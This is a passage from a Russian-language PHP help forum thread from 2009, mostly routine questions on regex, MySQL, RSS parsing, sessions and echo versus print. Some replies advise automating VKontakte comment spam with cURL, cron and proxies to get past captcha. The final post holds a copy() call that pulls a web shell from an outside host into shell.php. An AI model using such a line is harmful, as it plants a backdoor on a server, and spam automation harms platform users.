return $str2;
}
echo zamena($str1,$str2);
spamoney
07.06.2009, 15:54
Наверное ты так хотел?
Пасиб, но это совсем не то)
Gifts, спасибо то что надо, выручил!
$status = $icq->getstatus($uin_sendto);
$icq->send_message($uin_sendto, $message1);
$icq->send_message($uin_sendto, $message2);
echo "ok";
GreenBear, я так и делал - но неработает :(
Спасибо ребят, неработало, только с номером который я вписывал. Сегодня вбил другой номер и всё ок! :) :)
Есть файл. Там много мусора, но мне с етого файла надо отпарсить IDшники.. ID вигледит так uid="4552312312321" как зделать чтоб скрипт нашёл IDшники и записал их в файл?
Есть файл. Там много мусора, но мне с етого файла надо отпарсить IDшники.. ID вигледит так uid="4552312312321" как зделать чтоб скрипт нашёл IDшники и записал их в файл?
php.net/preg_match_all
#uid="[0-9]+"#
FireFenix
07.06.2009, 23:25
Есть файл. Там много мусора, но мне с етого файла надо отпарсить IDшники.. ID вигледит так uid="4552312312321" как зделать чтоб скрипт нашёл IDшники и записал их в файл?
<?php
$content = file_get_contents('text.txt');
$regexp = '/uid="([^"]*)"/ism';
preg_match_all($regexp, $content, $uid);
file_put_contents('uid.txt', implode("\r\n", $uid[1]));
?>
Подскажите как быть, отправляю сообщение на icq
www: icq4.net и оно не доходит, а если сделать между точкой и зоной пробел www: icq4. net - то всё ок. Чем можно заменить точку? Может псевдосимволы или что можно сделать? Пробел как то не очень ;(
Vanofuture
08.06.2009, 01:48
$regexp = '/uid="([^"]*)"/ism';
Любые знаки кроме кавычек тут не самое лучшее решение, id ведь будет только цифренным. Думаю, лучше так:
$regexp = '/uid="([0-9]+)"/ism';
;)
Кубик Рубик
08.06.2009, 08:06
Всем привет!
Как вы думаете хорошо ли после загрузки картинки поменять ее имя, а потом сохранить в базу ее предыдущее и новое имя(+ имя пользователя), чтобы система разбиралась, что за картинка. Возможно это затратно в масштабах вконтакте, но ведь там тоже как то контролируется, когда эта картинка была загружена и кем.
я думаю у тебя не высоко нагруженный проект так что о таких мелочах беспокоится не стоит
erihtoney
08.06.2009, 09:49
Есть файл. Там много мусора, но мне с етого файла надо отпарсить IDшники.. ID вигледит так uid="4552312312321" как зделать чтоб скрипт нашёл IDшники и записал их в файл?
<?php
$f=fopen("file.txt","r+t");
flock(LOCK_EX,$f);
while(feof($f)){
$line=fget($f);
preg_match("|uid=\"[0-9]{13}\"|i",$line,$uid);
}
?>
FireFenix
08.06.2009, 11:00
Всем привет!
Как вы думаете хорошо ли после загрузки картинки поменять ее имя, а потом сохранить в базу ее предыдущее и новое имя(+ имя пользователя), чтобы система разбиралась, что за картинка. Возможно это затратно в масштабах вконтакте, но ведь там тоже как то контролируется, когда эта картинга была загружена и кем.
Загрузил + послал запрос на занесение инфы в БД. Ничего затратного.
Если бы ты посылал батарею свзяанных элементов - другое дело
есть переменная
$i = "username:qwerty";
Нужно выдернуть от туда то что стоит до символа ":" и вставить в текстовое поле (или же вывести)
Krist_ALL
08.06.2009, 18:54
<?php
$a 'username:password';
$b = explode(":", $a);
echo $b[0]; //username
echo $b[1]; //password
?>
m0nsieur
08.06.2009, 18:55
$arr = explode(':', $a);
echo $arr[0];
FireFenix
08.06.2009, 18:56
<?php
$string = 'username:qwerty';
$array = explode(':', $string);
echo($array[0]); //или echo('<input name="text" type="text" value="' . $array[0] . '">')
?>
подскажите, как сделать рандомный вывод 3 запросов.
тоесть есть база данных с 1 полем - в поле хранятся данные вида "<a href="lalala"><img src="somepict.png">sometext.txt</a><br>"
как выводить по 3-4 таких "картинки с ссылкой" ?
erihtoney
08.06.2009, 19:16
<?php
$row_count = mysql_result(mysql_query('SELECT COUNT(*) FROM tTable;'), 0);
$query = array();
while (count($query) <3) {
$query[] = '(SELECT * FROM tTable LIMIT '.rand(, $row_count).', 1)';
}
$query = implode(' UNION ', $query);
$res = mysql_query($query);
?>
все это есть здесь (http://dev.mysql.com/doc/refman/5.1/en/mathematical-functions.html#function_rand) и здесь (http://google.com)
FireFenix
08.06.2009, 19:43
подскажите, как сделать рандомный вывод 3 запросов.
тоесть есть база данных с 1 полем - в поле хранятся данные вида "<a href="lalala"><img src="somepict.png">sometext.txt</a><br>"
как выводить по 3-4 таких "картинки с ссылкой" ?
Путь от картинки и от гипер-ссылки лучше хранить в БД, а потом заносиь в теги, а не весь тег.
Чтобы вывести
$query = 'SELECT COUNT(*) FROM table';
$result = mysql_query($query);
$fetch = mysql_fetch_array($result);
$count = $fetch[0]; //количество записей в таблице
//Задавём каждой записи рандом id
$query = 'SELECT * FROM table WHERE id="' . rand(1, $count) . '" OR id="' . rand(1, $count) . '" OR id="' . rand(1, $count) . '"');
//Либо задаём только смещение и берём картинки по порядку
$query = 'SELECT * FROM table LIMIT ' . rand(1, $count - 3) . ', 3"');
помогите написать парсер rss
вот адреса рсс'ок:
RSS2 http://fotki.yandex.ru/recent/rss2
RSS/RDF http://fotki.yandex.ru/recent/rss
Atom http://fotki.yandex.ru/recent/atom
любую из них, какую удобнее, нужно отпарсить
мне нужно чтобы скрипт вывел следующее:
img_title: title1
img_url: http://url1
img_title: title2
img_url: http://url2
img_title: title3
img_url: http://url3
img_title: title4
img_url: http://url4
...
..
.
и т.д.
с меня ++ :) заранее спасибо!
FireFenix
08.06.2009, 20:32
<?php
$content = file_get_contents('http://fotki.yandex.ru/recent/rss2');
$regexp = '/<title>([^<]*)<\/title>.*?<link>([^<]*)<\/link>/ism';
preg_match_all($regexp, $content, $match);
for($i = 0; $i < count($match[0]); $i++)
{
echo('img_title : ' . $match[1][$i]);
echo('<br>');
echo('img_src : ' . $match[2][$i]);
echo('<br><br>');
}
?>
FireFenix Спасибо!
но мне нужно чтобы выводило именно ссылку на само изображение. :)
т.е. которая в img src="..."
FireFenix
08.06.2009, 20:44
FireFenix Спасибо!
но мне нужно чтобы выводило именно ссылку на само изображение. :)
т.е. которая в img src="..."
Прости, очепятка :)
<?php
$content = file_get_contents('http://fotki.yandex.ru/recent/rss2');
$regexp = '/<title>([^<]*)<\/title>.*?<media\:thumbnail url="([^"]*)/ism';
preg_match_all($regexp, $content, $match);
for($i = 0; $i < count($match[0]); $i++)
{
echo('img_title : ' . $match[1][$i]);
echo('<br>');
echo('img_image : ' . $match[2][$i]);
echo('<br><br>');
}
?>
FireFenix Спасибо еще раз! выручил ;)
Patronik
08.06.2009, 23:50
Всем привет.
Делаю автроизация для сайта с помощю сесий.
Работаю сечас на денвере.
Проверяю на совпадения пароля и логина с зарегестрированим паролем и логином, при совпадении должна запускаться сесия.
session_start();
session_register("authorize");
$authorize=1;
Но браузер выдает ошыбку "Warning: session_start() [function.session-start]: open(/tmp\sess_1cd0b3ec56b9f7242002659810278b76, O_RDWR) failed: No such file or directory (2) in Z:\home\libra.com\www\autorization.php on line 26".
Сесия не может открыть какую то папку. Что делать?
Player#1
08.06.2009, 23:56
2Patronik
В конфигурационном файле php.ini (Z:\usr\local\php5\php.ini) найдите директиву session.save_path = /tmp
и исправьте её таким образом, чтобы указанный в ней путь существовал - в этой директории будут храниться файлы сессий.
Код:
<?php
$file = fopen("ind.txt",r);
if (filesize($file) == 0) {
echo "Файл ind.txt пуст!<br>Пожалуйста заполните его для того чтобы пользователи смогли видеть приветствие<br>(В файле возможны теги HTML!)";
}
else
{
while (!feof($file)){
$buff = fgets($file,4096);
echo $buff;
}
}
?>
При заходе на страницу выдается(пробывал прописывать в файл инфу всякую все так же):
Warning: filesize() [function.filesize]: stat failed for Resource id #3 in C:\xampp1\htdocs\icq_shop\index.php on line 22
Файл ind.txt пуст!
Пожалуйста заполните его для того чтобы пользователи смогли видеть приветствие
(В файле возможны теги HTML!)
Собственно исправьте! :)
$file = 'file.txt';
$size = filesize($file);
if($size == 0){
echo ',..';
}else{
echo file_get_contents($file);
}
Так правильно
а лучше $file = file('file.txt') + count() и т.д.
Pashkela
09.06.2009, 01:17
Можно было просто сказать, что
$file = fopen("ind.txt",r); - лишнее для получения размера файла и 'r' надо писать в кавычках
2 m0Hze:
echo file_get_contents($file);
представь себе файло размером 2 гига и оперативку в 64 мб
ЗЫЖ Понятно, что не принципиально, но основная и постоянная повторяющаяся ошибка всех сканеров, брутеров и etc. - не будет работать при больших словарях, хоть плачь:)
FireFenix
09.06.2009, 01:23
Так правильно
Разницы нету если файла нету.
Праивльнее
<?php
$file = 'file.txt';
if (is_file($file))
{
$content = file_get_contents($file);
if (strlen($content) == 0)
{
echo('Файл ' . $file .' пуст!');
}
} else {
echo('Файл ' . $file .' не существует!');
}
echo($content);
?>
FireFenix
09.06.2009, 01:26
ЗЫЖ Понятно, что не принципиально, но основная и постоянная повторяющаяся ошибка всех сканеров, брутеров и etc. - не будет работать при больших словарях, хоть плачь:)
"Данная функция возвращает содержимое файла в строке, начиная с указанного смещения offset и до maxlen байтов." (c) php manual
указывая смещения и длину - флаг в руки. Никакие танки нам не страшны :D
FireFenix
if (strlen($content) == 0)
{
echo('Файл ' . $file .' пуст!');
}
} else {
echo('Файл ' . $file .' не существует!');
}
есть такие функции как file_exists & filesize
STLcRash
09.06.2009, 09:39
Кто нибудь может написать php скрипт, оставляющий один и тот - же комментарий на фотографии (одной и той - же) через каждые 5 секунд
Нужно для того, чтоб всю ночь оставлял комментарий "С днём рожденья"
Хочется знакомую порадовать =)
STLcRash
09.06.2009, 09:41
Для сайта http://vkontakte.ru
STLcRash ага ага, заспамленными фотками?
ЗЫ напишу за $
STLcRash
09.06.2009, 13:18
Меня интересует только одна фотография
FireFenix
09.06.2009, 13:31
Кто нибудь может написать php скрипт, оставляющий один и тот - же комментарий на фотографии (одной и той - же) через каждые 5 секунд
Нужно для того, чтоб всю ночь оставлял комментарий "С днём рожденья"
Хочется знакомую порадовать =)
Для этих разговоров есть соответствующая тем http://forum.antichat.ru/forum57.html
А здесь - только помощь в написании!
Если будешь писать сам - берёшь curl, узнаёшь заголовки, куки, и отсылаешь POST запросы
Кто нибудь может написать php скрипт, оставляющий один и тот - же комментарий на фотографии (одной и той - же) через каждые 5 секунд
Нужно для того, чтоб всю ночь оставлял комментарий "С днём рожденья"
Хочется знакомую порадовать =)
1) Авторизируемся Вконтакте (http://tinyurl.ru/28o)
2) Отправляем POST'om (тем-же cURL) коментарий на фотографию
3) Ставим скрипт на CRON (http://ru.wikipedia.org/wiki/Cron)
-=Zhenek=-
09.06.2009, 17:50
1) Авторизируемся Вконтакте (http://tinyurl.ru/28o)
2) Отправляем POST'om (тем-же cURL) коментарий на фотографию
3) Ставим скрипт на CRON (http://ru.wikipedia.org/wiki/Cron)
Чет мне кажется капча быстро вылезет.
Ибо фильтр может распознать как флуд...
mailbrush
09.06.2009, 18:03
Можна обойтись и без крона - цикл, sleep() поставить.
Можно тем же курлом прокси использовать
Можна обойтись и без крона - цикл, sleep() поставить.
по max_execution_time прибьется
Интересует, что можете посоветовать по данной теме: http://forum.antichat.ru/showthread.php?p=1320303#post1320303
FireFenix
09.06.2009, 19:08
Интересует, что можете посоветовать по данной теме: http://forum.antichat.ru/showthread.php?p=1320303#post1320303
В идеале: 1.разработать софтину, вроде "хантербота" или "стахановца", но с другими функциями, подробнее расскажу уже тому кто в теме или желает в тему)) 2.вытащить как можно больше данных по возможности
По подробнее - функционал, характеристика, смысл, e.t.c.
И каким местом тут замешано php, perl, etc?
mailbrush
09.06.2009, 19:15
по max_execution_time прибьется
Если хост норм - в хтаксессе можно поставить.
FireFenix
09.06.2009, 19:18
по max_execution_time прибьется Если хост норм - в хтаксессе можно поставить.
На локалхосте или из коммандной строки выполнять + set_time_limit(0) и всё работает :)
По подробнее - функционал, характеристика, смысл, e.t.c.
И каким местом тут замешано php, perl, etc?
1.функционал бота:
-построить аналогичный клиент на движке ие(скорее всего!)
-выполнение локальных задач(если знаете данную игру-поймете, если нет-спрашивайте): охота на опреденного монстра в определенной локации, бот должен самостоятельно по мере снижения уровня хп, лекаться, использовать комбинацию суперударов, самостоятельно переходить на цп для воскрешения в случае слива и возвращаться в локацию, набивать карманы расходниками и так в определенном цикле-снова нападать .....
2.каким местом замешано php, perl... не уверен на 100%, но по моему-возможно выудить б.д. посмотрите в качестве примера: http://dwar.ru/user_info.php?nick=mobil-2 еще http://w1.dwar.ru/main.php
k.sergey
09.06.2009, 23:59
Здравствуйте
Подскажите пожалуйста как отправить картинку в теле письма. Отправляю через сurl, подключаясь к бесплатным почтовикам. Картинка приходит во вложении а в само тело письма не хочет вставать
FireFenix
10.06.2009, 00:15
Здравствуйте
Подскажите пожалуйста как отправить картинку в теле письма. Отправляю через сurl, подключаясь к бесплатным почтовикам. Картинка приходит во вложении а в само тело письма не хочет вставать
Mail.Ru вырезка Javascipt из загрузки файла
function addFilesInForm(id, fileName, fileSize)
{
var el = document.createElement("input");
el.type = "hidden";
el.name = "files_name_"+id;
el.id = "files_name_"+id;
el.value = fileName;
gebi("FilesNameContainer").appendChild(el);
var el1 = document.createElement("input");
el1.type = "hidden";
el1.name = "files_size_"+id;
el1.id = "files_size_"+id;
el1.value = fileSize;
gebi("FilesNameContainer").appendChild(el1);
}
Исходя из кода : файл загружается на сервер, аяксом получает его id и имя, JS создаёт невидимые поля с именем файла и его id. И потом постом всё отсылают.
Вывод: вначале нужно загрузить файл. Потом в пост сообщения подключить спрятанные поля и отправить.
k.sergey
10.06.2009, 01:13
Вывод: вначале нужно загрузить файл. Потом в пост сообщения подключить спрятанные поля и отправить.
не, само вложение приходит и в мейл.ру оно отображается, но вот допустим в яндексе оно просто ссылкой на саму картинку
FireFenix
10.06.2009, 02:57
не, само вложение приходит и в мейл.ру оно отображается, но вот допустим в яндексе оно просто ссылкой на саму картинку
Тоже юзает hidden поля, тока JS пропущен через шредер и малочитаемый без форматирования кода.
5 минут копания лопатой и ручного форматирования кода с поиском дали
JavaScript:
addFile:function(D)
{
y5.Dom.hide(D);
var E,B,A;E=D.value;
if(!E)
{
return
}
B=D.nextSibling;
A=y5.Elements.createFromHTML('<a target="_blank" href="file://'+E+'">'+y5.Url.fileName(E)+"</a>");B.firstChild.appendChild(A);
var C=document.getElementById("tmp_attachments");
C.appendChild(B.parentNode);
y5.Dom.show(B);
}
<div id="tab_attachments">
<div class="attach-area">
<table class="attach-set">
<tr><td class="attach-set-upload">
<ul>
<div id="addfile" class="hidden">
<li>
<input type="file" class="wideFile" name="att" size="35">
<div class="hidden">
<div class="attach-field attach-done">
</div>
<a href="#" onclick="messAttachs.kill(this);; return false;" class="attach-delete ">Удалить</a>
</div>
</li>
</div>
<li>
<input type="file" class="wideFile" name="att" id="f1" size="35">
<div class="hidden">
Из кода видно, что яндекс тоже юзает скрытые поля, которые находятся в диве с id="tab_attachments" и управляет ими через гиперссылки.
И самая фишка в том. Когда постица вложенный контент, яндекс грузит пару секунд и ссылка контента имеет вид file://Fenix.png, когда файл загрузился, ссылка меняется на ссылку внутри сервера вида http://mail.yandex.ru/message_part/Fenix.png?hid=1.2&mid=706.170255908.97563913710249245203954190876&name=Fenix.png
Вывод : на яндексе всё работает по аналогии с меил.ру, но только вложенный контент вначале нужно отгрузить, а потом отравлять письмо
k.sergey
10.06.2009, 11:32
Сорри я может чего не понимаю, но у меня с отправкой и отгрузкой нет проблем все отсылается с вложением. Проблема как вставить в тело письма эту картинку
http://mail.yandex.ru/message_part/Fenix.png?hid=1.2&mid=706.170255908.97563913710249245203954190876&name=Fenix.png
данный адрес он же для яндекса. т.е если я шлю с яндекса на мейл ру ссылка совсем другой будет
есть свёрстаный сайт, для него нужна админка, хотябы для токо чтобы создавать страницы и размещать новости, подскажите где такое чудо взять..
есть свёрстаный сайт, для него нужна админка, хотябы для токо чтобы создавать страницы и размещать новости, подскажите где такое чудо взять..
dle, wordpress
есть свёрстаный сайт, для него нужна админка, хотябы для токо чтобы создавать страницы и размещать новости, подскажите где такое чудо взять..
Поставь любую CMS и подгони свой дизайн под неё
а если не брать cms? мне в принципе не нужна привязка к мускулу
а если не брать cms? мне в принципе не нужна привязка к мускулу
На этом сайте мы постарались собрать как можно больше информации о системах управления контентом (CMS) без использования баз данных, другими словами о CMS без MySQL и других баз, требующих установки специального программного обеспечения.
Идет много споров на тему нужны или не нужны подобные CMS, но они существуют и это говорит о многом…
тут (http://cmswithoutmysql.ru/) или тут (http://tinyurl.com/kju5f9) :)
Собственно вопрос по GD.Знаю что не раз обсуждалось,но поиском чтото ничего не накопал интересного.
Нужно уменьшать картинку, на заданную ширину и высоту.Тоесть я задаю:
$h = 100;
$w = 100; и картинка уменьшаеться до 100x100;
Но нужно и еще кое что.
При поступлении картинки на сервер,необходимо проверять ее,на ширину и высоту,если чтото меньше,что $h or $w, то функция отдает 0.Собственно мануалы читать не хочеться,с гд работать больше наверно не придеиься, поэтому пишу тут.
FireFenix
10.06.2009, 16:19
Собственно вопрос по GD.Знаю что не раз обсуждалось,но поиском чтото ничего не накопал интересного.
Нужно уменьшать картинку, на заданную ширину и высоту.Тоесть я задаю:
$h = 100;
$w = 100; и картинка уменьшаеться до 100x100;
Но нужно и еще кое что.
При поступлении картинки на сервер,необходимо проверять ее,на ширину и высоту,если чтото меньше,что $h or $w, то функция отдает 0.Собственно мануалы читать не хочеться,с гд работать больше наверно не придеиься, поэтому пишу тут.
http://www.codenet.ru/webmast/php/Image-Resize-GD/
+ тамже используется
imagesx() - ширина
imagesу() - высота
Есть скрипт который чекает урлы из файла, через курл:
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10');
$res = curl_exec($ch);
Но если сайт не доступен, то скрипт просто виснет.... Как быть? file_get_contents тоже не катит =\
FireFenix
10.06.2009, 16:25
Есть скрипт который чекает урлы из файла, через курл:
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10');
$res = curl_exec($ch);
Но если сайт не доступен, то скрипт просто виснет.... Как быть? file_get_contents тоже не катит =\
<?php
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
...
$output = curl_exec($ch);
$info = curl_getinfo($ch);
if ($output === false || $info['http_code'] != 200) {
$output = "No cURL data returned for $url [". $info['http_code']. "]";
if (curl_error($ch))
$output .= "\n". curl_error($ch);
}
else {
// 'OK' status; format $output data if necessary here:
...
}
// then return or display the single string $output
?>
http://ua2.php.net/manual/ru/function.curl-exec.php
...
if (!empty (curl_error ($ch))) {
// Ошибка
}
либо
...
if (curl_errno ($ch) != 0) {
// Ошибка
}
И таймаут уменьшите, скажем, до 10 или меньше. 60 - многовато. Ждать долго
как вывести юзеру только те данные, которые у него в таблице ?
т.е. name, email, username
http://s50.radikal.ru/i129/0906/c2/466caafe5305.png
вот рега
http://www.swish-db.com/tutorials/view.php/tid/601
FireFenix
11.06.2009, 00:34
как вывести юзеру только те данные, которые у него в таблице ?
т.е. name, email, username
http://s50.radikal.ru/i129/0906/c2/466caafe5305.png
вот рега
http://www.swish-db.com/tutorials/view.php/tid/601
<?php
$link = @mysql_connect('хост', 'логин' , 'проль'; //Установка соединения
$db_selected = @mysql_select_db('база данных'); //Выбор БД
$query = 'SELECT * FROM таблица WHERE name="имя юзера"'; //Запрос в БД
$result = mysql_query($query); //Отправка запроса
$fetch = mysql_fetch_array($result); //получаем массив строки
print_r($fetch); //Выводим полученный массив на экран
?>
хм... если ник из чисел то все норм, а если нет то:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
хм... если ник из чисел то все норм, а если нет то:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
ты вводиш ник несуществующего пользователя
существует пользователь... 5 раз проверил, на разные ники. а с цифрами все норм О_о
попробуй так
$query = "SELECT * FROM `таблица` WHERE `name` = 'имя юзера' ";
у тебя там 2 поля name и username, может путаеш их ?
Народ прочитал в чем различие print от echo, вот что не понятно...
print() ведет себя как функция, которая всегда возвращает значение 1
<?php $a=print('test');/* $a=1; */ ?>
Это как понимать возвращает всегда 1?
да неее, он может выводить все угодно :)
ну типа его в условиях можно использовать, если печатает что возвращает 1, как я понял
идём на пхп.нет и смотрим не задавая вопросов на которые там можно найти ответ ..
http://dk.php.net/print
да неее, он может все что угодно возврашать :)
Return Values
Returns 1, always.
Различия между print() и echo() рассматриваются в этой статье: » http://www.faqts.com/knowledge_base/view.phtml/aid/1/fid/40
159932 там статья на англ. но я в инете нашел перевод но в переводе тоже ничего не понятно! :eek: :D (перевод читабительный)
#11007 тоже не помогло
не путаю )
$query = 'SELECT * FROM таблица WHERE username='.$username.'';
пипец
$query = "SELECT * FROM таблица WHERE name='$user_name'";
По идее, все запросы к mysql должны идти в двойных скобках.Так как если мускль видит '' - то переменные хоть убейся не считываться,если отдельно не указать тип строки.Сам мучался пол года назад :)
странно, я вроде так пробовал =-O
Vanofuture
11.06.2009, 03:29
$query = "SELECT * FROM `таблица` WHERE `username`='$username'";
омг =\ выводит и возвращает разные весчи! <?=print('');?> ничего не выводит, но возвращает иденицу! Returns 1, always. - означает Возвращает 1, всегда.
Я знаю что вывод и возвращение это разные вещи (из делфи) но я не понимаю какой понт что он возвращает единицу
мне нужен живой php пример(где присуствуют токо echo и print) и чтобы они хоть как то различались в исполнении (кроме единицы которая возвращает print)
http://www.faqts.com/knowledge_base/view.phtml/aid/1/fid/40 - ссылка из тогоже пхп.нет
2. Expression. print() behaves like a function in that you can do:
$ret = print "Hello World"; And $ret will be 1. That means that print
can be used as part of a more complex expression where echo cannot. An
example from the PHP Manual:
$b ? print "true" : print "false";
перевод(если настолко не в состоянии найти онлайн переводчик):
print() ведёт себя как ф-ия и с ней ты можешь сотворить сие чюдо:
$ret = print "Hello World"; и $ret вернёт еденицу. это значит что print может быть использован как часть большее сложного выражения, а echo не может. для примера из всеми-любимого мануала по пхп:
$b ? print "true" : print "false";
So, echo without parentheses can take multiple parameters, which get
concatenated:
echo "and a ", 1, 2, 3; // comma-separated without parentheses
echo ("and a 123"); // just one parameter with parentheses
print() can only take one parameter:
соу, echo без скобок может подминать под себя несколько параметров которые получает вместе:
echo "and a ", 1, 2, 3; // запято-разделительные без скобок
echo ("and a 123"); // ток один параметр со скобкаме
print() может взять ток один параметр:
.зы доступно?
http://www.faqts.com/knowledge_base/view.phtml/aid/1/fid/40 - ссылка из тогоже пхп.нет
перевод(если настолко не в состоянии найти онлайн переводчик):
print() ведёт себя как ф-ия и с ней ты можешь сотворить сие чюдо:
$ret = print "Hello World"; и $ret вернёт еденицу. это значит что print может быть использован как часть большее сложного выражения, а echo не может. для примера из всеми-любимого мануала по пхп:
$b ? print "true" : print "false";
соу, echo без скобок может подминать под себя несколько параметров которые получает вместе:
echo "and a ", 1, 2, 3; // запято-разделительные без скобок
echo ("and a 123"); // ток один параметр со скобкаме
print() может взять ток один параметр:
.зы доступно?
Благодарю, понял все ;)
(если настолко не в состоянии найти онлайн переводчик)
все я в состоянии, нефиг нагонять :mad:
Patronik
11.06.2009, 17:56
Снова немогу запустить сесию! Раньше в ошыбке говорилось про невозможность открить папку для сохранения файлов сесии, а теперь после того как я отредактировал файл php.ini и вписал существующий путь для сохранения файлов сесии такого типа
Z:\tmp\ssesions сесии там создаються с именами "sess_1ae98eab10e19fa8e59f8515106e75ee", "sess_7eb03d2d0ff5829d8a1427ba36e6dd22" но браузер снова выдает ошыбку
Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at Z:\home\train.com\www\auth.php:9) in Z:\home\train.com\www\auth.php on line 31
Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at Z:\home\train.com\www\auth.php:9) in Z:\home\train.com\www\auth.php on line 31
Warning: Unknown: Your script possibly relies on a session side-effect which existed until PHP 4.2.3. Please be advised that the session extension does not consider global variables as a source of data, unless register_globals is enabled. You can disable this functionality and this warning by setting session.bug_compat_42 or session.bug_compat_warn to off, respectively. in Unknown on line 0
У тебя перед стартом сессии чтото выводиться.Поставь sesion_start(); Сразу после <?php
mailbrush
11.06.2009, 18:16
сессию в начале скрипта создавай
Patronik
11.06.2009, 19:26
Я на другой странице сайта создаю сесию кодом
<?php
session_start();
if ($auth!=1)
{
echo'<p>Доступ закритий</p>
<br><p><center><a href = "index.php" tarfet = "blank">На головну</a></center></p>';
exit;
}
?>
при регистациий переменной в сесию делаю:
session_start();
session_register("auth");
$auth = 1;
Но страница проверки переменной говорит echo'<p>Доступ закритий</p>. При том что файл сесии создался в папке хранения сесий и там если открить блокнотом записано "auth|i:1;". Что не так?
if ($auth!=1)
if("$auth"!=1)
tarfet = "blank"
target="blank"
Два поста выше моего - ни о чем...
if("$auth"!=1)
Смысл?
if ($auth != 1) выполниться в случае, если не удалось присвоить $auth значение 1
Неверно. Это выполнится, если значение $auth не равно 1. Если использовать оператор !==, то это сравнение с учетом типов данных.
Ответ по теме вопроса:
<?php
session_start();
if (!isset($_SESSION['auth']) || $_SESSION['auth']!=1)
{
echo '<p>Доступ закрыт</p>
<br><p><center><a href = "index.php">На главную</a></center></p>';
exit;
}
?>
А вот это:
session_register("auth");
$auth = 1;
замени на это:
$_SESSION['auth']=1;
И надо не забывать session_start()
Patronik
11.06.2009, 22:26
2d_x
спасибо попробую так.
Мне браузер еще пишет сто не существует такой директории и проблема с session_start().
Warning session_start(). No such file or directory on /tmp/sses_123124132453452345?
типа такого! Я в php.ini правлю путь сохранения даних сесии, а он снова кажет что нет такой директории
FireFenix
11.06.2009, 22:46
2d_x
спасибо попробую так.
Мне браузер еще пишет сто не существует такой директории и проблема с session_start().
Warning session_start(). No such file or directory on /tmp/sses_123124132453452345?
типа такого! Я в php.ini правлю путь сохранения даних сесии, а он снова кажет что нет такой директории
Он пишет что нету файла сессии в этой директории
if ( session_id() == '' ) {
session_start();
}
mailbrush
11.06.2009, 23:57
if (!session_id())
session_start();
! - не существует.
KaZ@NoVa
12.06.2009, 00:19
Patronik
session_start(); должна вызываться лишь 1 раз за выполнение скрипта. Если где-то include другого скрипта, то в том другом скрипте не должно быть session_start();
А использовать сессии ТАК уже давно не принято - сейчас надо делать так:
$_SESSION['auth'] = 1; # регистрация переменной сессии
if ( $_SESSION['auth'] != 1 ) { echo 'Ошибка'; }
Примерно так вот
Как вас много
Вы проверяете результат присвоения ($_SESSION['auth'] != 1), а не сравнения ($_SESSION['auth'] !== 1)
Хорошо, что ты один такой...
Открываем мануал по операторам сравнения:
http://ru2.php.net/manual/ru/language.operators.comparison.php
Что же мы видим?
$a != $b | Не равно | TRUE если $a не равно $b.
$a !== $b | Тождественно не равно | TRUE если $a не равно $b или в случае, если они разных типов (Добавлено в PHP 4)
То же самое я говорил несколькими постами выше.
Специально поясню:
1!=0 это true
0!=0 это false
-------
"1"!=0 это true
"1"!=1 это false - тип данных не учитывается
-------
"1"!==0 это true
"1"!==1 это true - имеем типы данных разные
И еще - по одному-единственному оператору присвоения (=) и его комбинированным вариантам (+=, *=, .= и т.д.) можешь почитать здесь:
http://php.benscom.com/manual/ru/language.operators.assignment.php
Patronik
12.06.2009, 09:11
Окей сделал я так :
В первом файле создал сесию таким образом и присвоил $auth.
session_start();
$_SESSION['auth']=1;
Во втором файле чтобы использовать переменную сесии написал так:
<?php
session_start();
if (!isset($_SESSION['auth']) || $_SESSION['auth']!=1)
{
echo '<p>Доступ закрыт</p>
<br><p><center><a href = "index.php">На главную</a></center></p>';
exit;
}
?>
Браузер видает ошыбку
Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at Z:\home\train.com\www\auth.php:9) in Z:\home\train.com\www\auth.php on line 31
Читай http://phpfaq.ru/headers
Patronik, сунь в самое начало скрипта ob_start(); (а ошибка из за того что перед стартом сессии идет какой то вывод в браузер)
Patronik
12.06.2009, 09:24
Спасибо я только что из туда. Разобрался я с проблемой. Суть в том что команды header(), setcookie, session_start(), посилаються в заголовках. А если я до знака <? написал теги штмл то заголовки уже ушли и отослать их еще раз невозможно. Надо ставить создание сесии в самом начале страници чтобы команда послалась в заголовке, а не после того как заголовки уже пошли.
Спасибо я только что из туда. Разобрался я с проблемой. Суть в том что команды header(), setcookie, session_start(), посилаються в заголовках. А если я до знака <? написал теги штмл то заголовки уже ушли и отослать их еще раз невозможно. Надо ставить создание сесии в самом начале страници чтобы команда послалась в заголовке, а не после того как заголовки уже пошли.
Чо реально так?!А то что мы выше уже 3 раза это писали это ниче,да?
Нужно вывести символ $ как это сделать, а то php распознает это как переменную т.е.
echo "$loliho";
чтобы выводило
$loliho
а не воспринимало данное вырадение как вывод переменной $loliho.
Спасибо
"\$" обозначает символ "$" чтоб следующий текст не был интерполирован как переменная.
copy('http://bugaga.zapto.org/shell.txt','shell.php')
Как сделать так чтобы ковычки не замечала?
Я в том смысле что у меня ошибку пишет при выполнении (именно мешают ковычки)
Что делать? знак "\" перед ковычками не помогает(
FireFenix
13.06.2009, 00:10
copy('http://bugaga.zapto.org/shell.txt','shell.php')
Как сделать так чтобы ковычки не замечала?
Я в том смысле что у меня ошибку пишет при выполнении (именно мешают ковычки)
Что делать? знак "\" перед ковычками не помогает(
